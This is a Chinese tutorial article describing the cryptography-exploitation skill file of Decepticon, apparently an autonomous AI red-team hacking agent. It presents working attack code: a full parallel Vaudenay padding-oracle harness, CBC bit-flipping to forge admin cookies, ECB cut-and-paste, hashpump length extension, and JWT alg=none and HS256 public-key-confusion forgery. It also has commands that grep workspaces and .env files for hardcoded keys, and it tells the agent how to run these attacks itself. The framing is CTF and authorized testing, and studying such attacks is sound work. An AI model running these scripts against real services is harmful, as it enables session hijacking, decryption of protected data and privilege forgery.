【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
导读
本文围绕 Decepticon 红队技能库中的 Web 密码学利用技能(crypto/SKILL.md)展开,系统讲解如何利用应用对对称密码(CBC/ECB)、MAC(HMAC、哈希长度扩展)与令牌签名(JWT)的误用完成 Web 漏洞利用。读者将掌握一套完整的实战方法论:密钥优先发现、Oracle 识别与确认门禁、Vaudenay Padding Oracle 全流程攻击、CBC 位翻转、ECB 模式攻击、哈希长度扩展与 JWT 算法混淆,以及确保攻击不失控的请求预算与反模式纪律。该技能由 Decepticon 的技能中间件在目标匹配when_to_use触发词(如padding oracle、AES-CBC、JWT alg confusion)时自动加载,映射 MITRE ATT&CK T1190(Exploit Public-Facing Application),适用于 CTF 挑战与授权红队演练中对加密 Cookie、加密验证码与签名令牌的绕过场景。
技能定位:在技能库中如何被触发与加载
本技能是 Decepticon Web 利用分类下的专项子技能。在其父级路由技能 web/SKILL.md 中,crypto子技能被明确描述为:覆盖 Padding Oracle(Vaudenay)、AES-CBC 位翻转、ECB 块替换、JWT 算法混淆与哈希长度扩展;当出现 Base64 Cookie/令牌(长度满足%16或%8)、"非法填充"与"认证失败"两类响应存在可区分差异、JWT、重复的 16 字节密文块,或挑战标签包含crypto/cipher/oracle/captcha时加载。
该技能的 frontmatter 元数据遵循 Decepticon 的强制审计约定。仓库中的技能审计规则(skill_audit/rules.py)要求每个 SKILL.md 必须包含name、description、subdomain与when_to_use,而本技能的when_to_use字段列举了二十余个触发关键词。这些关键词在运行期被技能中间件(middleware/skills.py)解析为触发词列表,供 Agent 将当前目标与技能匹配;匹配后通过load_skill("/skills/standard/exploit/web/crypto/SKILL.md")加载全文。load_skill工具(tools/skills.py)要求路径以/skills/开头、以.md结尾、禁止路径穿越,并校验 Agent 的源允许列表——本技能处于standard/exploit/web/crypto/目录下,即技能在运行时以decepticon/skills包内文件形式通过本地FilesystemBackend进程内读取,不经沙箱传输。
核心心法(贯穿全文的纪律):找到 Oracle → 证明 Oracle 是真实的 → 在硬性请求预算内迭代。没有经过证明的 Oracle,攻击只会白白烧掉循环预算。
Step 0:密钥发现(任何网络攻击之前)
CTF 挑战应用经常把密钥硬编码在源码里。如果对应用具备文件系统访问权限,在发起任何网络探测之前,先在工作区中定位应用源码并检索硬编码密钥:
# 在工作区中查找应用源码 find /workspace -name "*.py" -o -name "*.js" -o -name "*.rb" -o -name "*.php" 2>/dev/null | head -20 # 检索硬编码密钥 grep -rn 'AES_KEY\|SECRET_KEY\|key\s*=\s*[b'"'"'"'"'"'"'"'"']\|password\s*=' /workspace/*/app/ 2>/dev/null | head -20 # 同时检查环境文件 cat /workspace/*/.env 2>/dev/null; cat /workspace/*/app/.env 2>/dev/null如果找到了密钥,立即离线解密——不需要 Oracle、不需要任何网络请求。以下 Python 片段使用cryptography库完成 AES-CBC 解密与 PKCS7 去填充:
import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding as crypto_padding KEY = b'C' * 32 # replace with discovered key cookie = "<base64-cookie-from-browser>" raw = base64.b64decode(cookie) iv, ct = raw[:16], raw[16:] cipher = Cipher(algorithms.AES(KEY), modes.CBC(iv)) pt = cipher.decryptor().update(ct) + cipher.decryptor().finalize() # Remove PKCS7 padding unpadder = crypto_padding.PKCS7(128).unpadder() plaintext = unpadder.update(pt) + unpadder.finalize() print("plaintext:", plaintext)只有在源码中找不到密钥时,才进入下文基于 Oracle 的攻击流程。
识别信号:何时触发本技能
当出现以下任意一条信号时触发本技能:
- Base64 Cookie/令牌的解码长度为 16 的倍数(AES-CBC)或 8 的倍数(DES/3DES)。长度边界是最大提示:
len(b64decode(token)) % 16 == 0且不是 32 或 48 → 很可能是 1-2 个 CBC 块;% 16 == 0且为 32-64 字节 → IV+密文模式。 - "非法填充"与"非法认证/解密"返回不同的错误响应。状态码、响应体、长度甚至响应时间上的差异本身就是 Oracle。如果两种失败模式在网络层不可区分,则不存在 Oracle。
Authorization: Bearer <三个点分隔的 base64 段>形式的 JWT。始终检查alg头(alg=none、使用公钥混淆的alg=HS256、alg=RS256→HS256替换)。- 单个令牌内出现重复的 16 字节密文块——这是 ECB 的直接特征。解码 base64、切成 16 字节块、查找重复项。
- 服务器返回独立的加密块 + 标签/HMAC 拼接——若 MAC 方案较弱(如
MD5(secret || message)),可尝试 HMAC 绕过/哈希长度扩展。 - 挑战标签包含
crypto、cipher、oracle、captcha、encrypted_captcha、padding、hmac_bypass、jwt、length_extension。
布局检测
解码令牌并确定 IV/CT 布局。AES-CBC 令牌始终是IV(16) || CT(16 * N)结构——前 16 字节永远是 IV:
import base64 raw = base64.b64decode("<TOKEN>") print(f"total bytes: {len(raw)}, blocks: {len(raw)//16}") # len==32 → IV(16) + 1 ciphertext block (16 bytes of plaintext) # len==48 → IV(16) + 2 ciphertext blocks (32 bytes of plaintext) # len==64 → IV(16) + 3 ciphertext blocks (48 bytes of plaintext) # The IV is ALWAYS raw[:16]. Ciphertext is raw[16:].同时确认正确的 Cookie/参数名——通过 GET 请求的响应头确认 Cookie 名:
curl -sv "$TARGET/" 2>&1 | grep -i 'set-cookie'在后续所有请求中使用该精确 Cookie 名(如captcha、session、token)。
Confirm-Oracle Gate:迭代前必须证明 Oracle 真实存在
STOP——在迭代任何载荷之前,先证明 Oracle 是真实的。本技能作者强调,最常见的预算浪费就是对一个两种错误模式实际相同的服务器狂发数千次 padding-oracle 请求。门禁是一次进程内探测,恰好发出两次请求,并把两次响应并排打印:
timeout 60 python3 -u -c ' import base64, requests, sys URL = "https://<TARGET>/decrypt" TOKEN = "<base64-cookie-or-token-from-recon>" ct = bytearray(base64.b64decode(TOKEN)) # Probe A: flip the LAST byte of the SECOND-TO-LAST block (corrupts plaintext padding of last block) flipped = bytearray(ct) flipped[-17] ^= 0x01 # Probe B: completely random ciphertext (corrupts MAC/auth too, not just padding) import os random_ct = bytearray(os.urandom(len(ct))) for label, payload in [("flip-pad", flipped), ("random", random_ct)]: b64 = base64.b64encode(bytes(payload)).decode() r = requests.get(URL, cookies={"token": b64}, timeout=5) sys.stdout.write(f"=== {label} === status={r.status_code} len={len(r.content)} body={r.text[:200]!r}\n") sys.stdout.flush() ' 2>&1 | tee oracle_gate.txt通过标准(满足任意一条即可):
flip-pad与random之间的状态码不同;- 响应体长度相差 ≥1 字节(剥离时间戳后);
- 前 200 个字符的响应体字符串不同(例如 "Invalid padding" vs "Invalid token");
- 3 次重复中响应时间稳定相差 ≥50ms(时间型 Oracle——很脆弱,作为最后手段)。
门禁失败(在 harness 外层timeout触发前没有任何通过标准):两种失败模式从网络层不可区分——该端点不存在 Oracle。回退到侦察,并记录 "no padding oracle observable on<endpoint>; check other endpoints or token sinks"。
门禁通过:继续针对性攻击。把flip-pad与random的响应分别作为 Oracle 的 "VALID-PAD" 与 "INVALID" 模板。
Oracle 谓词——通用化表述(关键)
Oracle 恰好有两个可观测状态:"padding valid" 与 "padding invalid"。INVALID 状态是与完全随机密文(上面的random探测)一致的状态。谓词定义为:
# KNOWN_BAD = (status_code, body_prefix) from the random probe KNOWN_BAD = (r_random.status_code, r_random.text[:200]) def valid_pad(response): return (response.status_code, response.text[:200]) != KNOWN_BAD不要硬编码status == 403或"Invalid padding" in text作为 Oracle 检查。许多 Flask/Express 应用在成功解密垃圾明文后因下游处理失败(UTF-8 解码、JSON 解析、会话反序列化)抛出未捕获异常(HTTP 500)。这些500 恰恰是 valid-pad 信号——它们与随机密文的响应不同,所以valid_pad()能正确返回 True。如果硬编码状态码检查,你会把 500 当作失败处理,从而在其实已经成功的字节位置上耗尽整个请求预算。
1. Padding Oracle(Vaudenay)——完整演练
通过操纵前一块的字节、向 Oracle 询问所得填充是否有效,逐字节解密 CBC 密文。以下是完整的进程内 harness(concurrent.futures并行、timeout=5、python3 -u行缓冲、有界请求预算):
timeout 600 python3 -u -c ' import base64, concurrent.futures, requests, sys, os URL = "http://<TARGET>/" # adjust path/method to match the vulnerable endpoint TOKEN = "<base64-blob>" # base64 cookie value captured from recon COOKIE_NAME = "captcha" # use the EXACT cookie name from Set-Cookie header BLOCK = 16 MAX_REQUESTS = 4096 # hard budget — abort if we hit it # Generic oracle predicate: derive KNOWN_BAD from a random-ciphertext probe first. # Do NOT hardcode status codes — 500s from downstream decode errors ARE valid-pad signals. ct = base64.b64decode(TOKEN) assert len(ct) % BLOCK == 0 blocks = [ct[i:i+BLOCK] for i in range(0, len(ct), BLOCK)] session = requests.Session() budget = [MAX_REQUESTS] # Calibrate oracle: send fully-random ciphertext, record the response signature _rand = os.urandom(len(ct)) _r = session.get(URL, cookies={COOKIE_NAME: base64.b64encode(_rand).decode()}, timeout=5) KNOWN_BAD = (_r.status_code, _r.text[:200]) sys.stdout.write(f"KNOWN_BAD (random ciphertext) = {KNOWN_BAD}\n"); sys.stdout.flush() def is_valid_pad(forged_iv, target_block): """Returns True if oracle says padding is valid (response differs from KNOWN_BAD).""" if budget[0] <= 0: raise RuntimeError("request budget exhausted") budget[0] -= 1 blob = base64.b64encode(forged_iv + target_block).decode() r = session.get(URL, cookies={COOKIE_NAME: blob}, timeout=5) return (r.status_code, r.text[:200]) != KNOWN_BAD def crack_block(prev, target): """Recover plaintext of `target` by manipulating `prev`.""" intermediate = bytearray(BLOCK) for byte_idx in range(BLOCK - 1, -1, -1): pad_value = BLOCK - byte_idx # Try every possible byte at byte_idx until oracle reports valid padding forged = bytearray(BLOCK) for k in range(byte_idx + 1, BLOCK): forged[k] = intermediate[k] ^ pad_value # Parallelize the 256-byte search (bounded workers) with concurrent.futures.ThreadPoolExecutor(max_workers=16) as ex: futures = {} for guess in range(256): f = bytearray(forged) f[byte_idx] = guess futures[ex.submit(is_valid_pad, bytes(f), target)] = guess for fut in concurrent.futures.as_completed(futures): if fut.result(): intermediate[byte_idx] = futures[fut] ^ pad_value break else: raise RuntimeError(f"no valid pad found at block byte_idx={byte_idx}") plaintext = bytes(intermediate[i] ^ prev[i] for i in range(BLOCK)) return plaintext recovered = b"" # block 0 is the IV; decrypt blocks 1..N using their predecessors as "prev" for i in range(1, len(blocks)): sys.stdout.write(f"=== decrypting block {i} (budget left {budget[0]}) ===\n") sys.stdout.flush() pt = crack_block(blocks[i-1], blocks[i]) sys.stdout.write(f"block {i} plaintext: {pt!r}\n") sys.stdout.flush() recovered += pt sys.stdout.write(f"=== full plaintext: {recovered!r} ===\n") ' 2>&1 | tee padding_oracle.txt每块请求预算
每个块的最坏情况:16 字节 × 256 次猜测 =4096 次请求(这是 Vaudenay 算法对一个 CBC 块的硬性上界,不可调)。并行只减少墙钟时间,不减少请求数。不要把max_workers推到沙箱限流阈值(约 32)以上——更高的值会触发速率限制型 WAF 规则,并压垮 CTF 挑战普遍使用的单线程开发服务器。
首块验证
第一个明文块是诊断信号:如果经过合理的 harness 运行时间仍未返回、且请求预算尚未耗尽,就终止 harness并复查:
- Oracle 谓词对吗?打印
KNOWN_BAD和几个实时响应,确认(status, body[:200]) != KNOWN_BAD在 valid-pad 情况下确实触发。 - 并行是否被服务器限流(速率限制、WAF、会话锁)?把
max_workers降到 4 重跑。 - 预算是否在解出任何块之前就耗尽?增大
MAX_REQUESTS,或接受服务器太慢、切换到非 Oracle 攻击。
2. CBC 位翻转
当应用解密 CBC 并信任明文(例如 Cookie 中的角色标志)时,翻转块 N 密文中的字节,会翻转块 N+1 明文中对应的字节(块 N+1 本身会被破坏成乱码):
# Known plaintext at position i → desired plaintext at position i. # Flip ct[block_n][offset] ^= known_pt[i] ^ desired_pt[i] import base64 TOKEN = "<base64>" ct = bytearray(base64.b64decode(TOKEN)) # E.g. flip "user=guest" → "user=admin" inside block 1, byte 5 KNOWN, DESIRED = b"guest", b"admin" for i in range(min(len(KNOWN), len(DESIRED))): ct[i + 5] ^= KNOWN[i] ^ DESIRED[i] print(base64.b64encode(bytes(ct)).decode())块 N 会被翻转破坏——确保块 N 的明文是应用不会做健全性检查的内容(例如从不读取的时间戳/随机数)。
3. AES-ECB 攻击
模式检测
ECB 下两个相同的 16 字节明文块会产生两个相同的 16 字节密文块。检测方法:
import base64 ct = base64.b64decode("<TOKEN>") blocks = [ct[i:i+16] for i in range(0, len(ct), 16)] print("blocks:", len(blocks), "unique:", len(set(blocks))) # unique < total → ECB confirmedCut-and-paste(剪切粘贴)
如果应用在 ECB 下加密<攻击者可控前缀> | <用户数据> | <后缀>,并允许攻击者多次注册/登录,就可以捕获包含选好明文的对齐块(例如admin\x0b\x0b\x0b...),拼接到另一个用户的令牌中:
# 1. Register a user whose name positions "admin" + valid PKCS7 padding into a clean block. # 2. Capture that ciphertext block. # 3. Register a normal user. Capture their token. # 4. Replace the block holding "user" with the block holding "admin". # 5. Submit forged token.前缀/后缀恢复
如果可以向服务器在 ECB 下加密的秘密后缀(例如 flag)前追加字节:
- 确定块大小:变化前缀长度,观察首次响应长度跳跃一个
BLOCK_SIZE的位置。 - 逐字节:发送
"A"*(BLOCK_SIZE-1)捕获块,然后对每个g in 0..255发送"A"*(BLOCK_SIZE-1) + g并比较块——匹配即揭示该字节。 - 前缀左移一个字节并重复,直到秘密耗尽。
4. HMAC / 签名绕过
哈希长度扩展
如果 MAC 是MD5(secret || message)或SHA1(secret || message)(非 HMAC 构造),且知道len(secret) + len(message)与 MAC 值,就可以在不掌握密钥的情况下追加数据并计算出合法 MAC。工具:hashpump或hash-length-attack(Python 实现):
# hashpump: append "&admin=true" to a signed message hashpump -s <orig_mac> -d "<orig_message>" -k <secret_len_guess> -a "&admin=true"JWT 算法混淆
alg=none:剥离签名,设置头{"alg":"none","typ":"JWT"}、设置载荷、发送<header>.<payload>.(空签名)。许多库会接受。alg=HS256公钥混淆:服务器使用verify(token, public_key)。用服务器的 RSA 公钥(PEM 字节)作为 HMAC-SHA256 的密钥重新签名令牌。同一个库现在会误把 "HS256" 当作 "RS256" 验证,即用公钥作为 HMAC 密钥。alg=RS256→HS256替换:同上——翻转令牌中的 alg 头。
import base64, hashlib, hmac, json HEADER = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b"=") PAYLOAD = base64.urlsafe_b64encode(json.dumps({"user":"admin"}).encode()).rstrip(b"=") PUBKEY_PEM = open("server_public.pem","rb").read() sig = hmac.new(PUBKEY_PEM, HEADER + b"." + PAYLOAD, hashlib.sha256).digest() SIG = base64.urlsafe_b64encode(sig).rstrip(b"=") print((HEADER + b"." + PAYLOAD + b"." + SIG).decode())反模式(禁止)
- Oracle harness 中禁止无界循环。始终设置
MAX_REQUESTS并在归零时中止。配置错误的 Oracle 模板可能永远运行下去。 - 禁止
python3 detector.py > /tmp/log 2>&1 &+tail -f——如果 tmux 管道劣化,tail 会永远无输出,你无法判断脚本是否存活。优先使用内联timeout 600 python3 -u -c '...' | tee log.txt。 - 禁止
while True: r = requests.get(...)。每个循环都要用最大迭代次数约束,并在成功时跳出。 - 不要在 confirm-oracle 门禁通过之前迭代变体。这一条纪律规则消除了加密挑战中最常见的循环浪费。
- 始终使用
python3 -u以获得行缓冲 stdout。否则无法区分实时进度与卡死。 concurrent.futures.ThreadPoolExecutor的max_workers必须有界。256 字节搜索用 16 足够;>32 会触发沙箱限流与速率限制型 WAF 规则。- 每次调用都设置
requests.Session()timeout=5(不仅是门禁探测)。 - 禁止中途编辑。如果 harness 正在逐字节输出进度,就让它跑完。如果需要后续步骤(例如提交恢复出的明文),写一个独立的脚本读取输出并提交。绝不要在正在产出结果的脚本上执行
edit_file——重启会丢失中间状态、生成新的挑战会话(新的 captcha/Cookie),并使已恢复的一切失效。 - 原子化流水线。探测 → 解密 → 提交必须在同一个脚本调用中使用同一个会话 Cookie。不要拆成多次独立运行。新的 GET 请求会生成新的加密 captcha——旧恢复出的明文将无法匹配。
- 单进程纪律。目标通常是单线程开发服务器(Flask/Express)。并发运行多个 Oracle 脚本会压垮它。启动 padding-oracle harness 前,先杀掉所有命中目标的其他 Python 脚本:
pkill -f 'python3.*<port_or_target>' 2>/dev/null。一次只跑一个 harness。
工具环境说明
技能文档声明沙箱内可用:python3(含requests、cryptography、pycryptodome)、hashpump、openssl,没有padbuster.pl(未安装 Perl)。构建 padding-oracle 攻击应使用上述 harness,而非第三方 CLI。这与沙箱镜像的构建事实吻合:仓库中的 sandbox.Dockerfile 基于 Kali rolling 镜像,预装python3、python3-pip、tmux、curl及一系列侦察/利用工具(nmap、sqlmap、responder、impacket 等),工作目录为/workspace——这正是技能中find /workspace、tee日志与 tmux 纪律假设的运行环境;而技能文件本身不再烘焙进沙箱镜像,而是由 langgraph 容器以只读知识形式通过FilesystemBackend进程内提供(参见 sandbox.Dockerfile 的注释说明)。
验证标准
加密攻击的确认条件:
- Padding Oracle:至少恢复了第一个明文块,且它是人类可读的明文(Cookie 载荷、会话 JSON 等)。如果块 1 返回乱码,说明 Oracle 模板有误——终止并重新推导。
- CBC 位翻转:伪造令牌成功冒充目标角色/用户(例如
/admin返回管理员内容),且未翻转的基线令牌不行。 - ECB cut-and-paste:拼接令牌在新登录时产生特权响应(≥3 次复现)。
- JWT 算法混淆:伪造 JWT 在拒绝无签名/垃圾 JWT 的特权端点上被接受。
- 哈希长度扩展:追加的字段被服务器认可(例如
admin=true翻转角色),且 MAC 在不掌握密钥的情况下通过验证。
输出文件约定
技能要求攻击过程落盘以下工件,形成证据链:
./ ├── oracle_gate.txt # Confirm-oracle gate output (PASS/FAIL evidence) ├── padding_oracle.txt # Vaudenay run log + recovered plaintext ├── ecb_blocks_<target>.txt # ECB block analysis (uniqueness, repeats) ├── jwt_forged_<target>.txt # Forged JWT + verification trace └── crypto_<target>_summary.md # What was tried, gate result, evidence trail其中oracle_gate.txt与padding_oracle.txt由上文 harness 中的tee直接生成;crypto_<target>_summary.md记录尝试内容、门禁结果与证据路径,供侦察/利用交接(recon → exploit handoff)与最终报告复用。
【免费下载链接】Decepticon
Autonomous Hacking Agent for Red Team
相关推荐
Hacker101 密码学实战收官:ECB 模式攻击与 Padding Oracle 利用全指南
Hacker101 密码学实战收官:ECB 模式攻击与 Padding Oracle 利用全指南 导读 本文是 Hacker101 免费网络安全课程中"实用密码
教程网络安全Decepticon 自主攻克 XBEN-101-24「Bad Capcha」:Padding Oracle 攻击全流程实录
Decepticon 自主攻克 XBEN 101 24「Bad Capcha」:Padding Oracle 攻击全流程实录 本篇技术指南以 Deceptico
CTF Wiki 密码学专题:CBC 分组链接模式原理、字节反转攻击与 Padding Oracle 实战
CTF Wiki 密码学专题:CBC 分组链接模式原理、字节反转攻击与 Padding Oracle 实战 CBC(Cipher block chaining,
文档网络安全教程
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考